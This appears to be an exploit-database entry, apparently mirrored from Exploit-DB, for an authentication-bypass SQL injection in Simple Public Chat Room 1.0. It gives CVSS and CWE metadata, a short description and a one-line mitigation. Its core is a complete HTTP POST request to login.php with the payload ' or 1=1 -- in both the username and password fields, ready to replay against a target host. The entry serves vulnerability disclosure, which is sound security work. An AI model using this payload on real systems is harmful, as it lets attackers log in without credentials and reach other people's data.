header-logo
Suggest Exploit
vendor:
Simple Public Chat Room
by:
Richard Jones
8.8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Simple Public Chat Room
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: N/A
CPE: a:sourcecodester:simple_public_chat_room:1.0
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34
2021

Simple Public Chat Room 1.0 – Authentication Bypass SQLi

A SQL injection vulnerability exists in Simple Public Chat Room 1.0, which allows an attacker to bypass authentication by sending a specially crafted HTTP POST request. The vulnerability is due to insufficient sanitization of user-supplied input in the 'username' and 'password' parameters of the 'login.php' script. An attacker can exploit this vulnerability by sending a malicious HTTP POST request with a crafted payload in the 'username' and 'password' parameters. This will allow the attacker to bypass authentication and gain access to the application.

Mitigation:

Input validation should be performed to ensure that user-supplied input is properly sanitized before being used in SQL queries.
Source

Exploit-DB raw data:

# Exploit Title: Simple Public Chat Room 1.0 - Authentication Bypass SQLi
# Exploit Author: Richard Jones
# Date: 2021-01-26
# Vendor Homepage: https://www.sourcecodester.com/php/12295/simple-public-chat-room-using-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12295&title=Simple+Public+Chat+Room+Using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

POST /chat/login.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Connection: close
Referer: http://localhost/chat/index.php?attempt=
Cookie: PHPSESSID=r2focevhk11aqka051gt26qfhl
Upgrade-Insecure-Requests: 1

username=aa%27+or+1%3D1+--&password=%27+or+1%3D1+--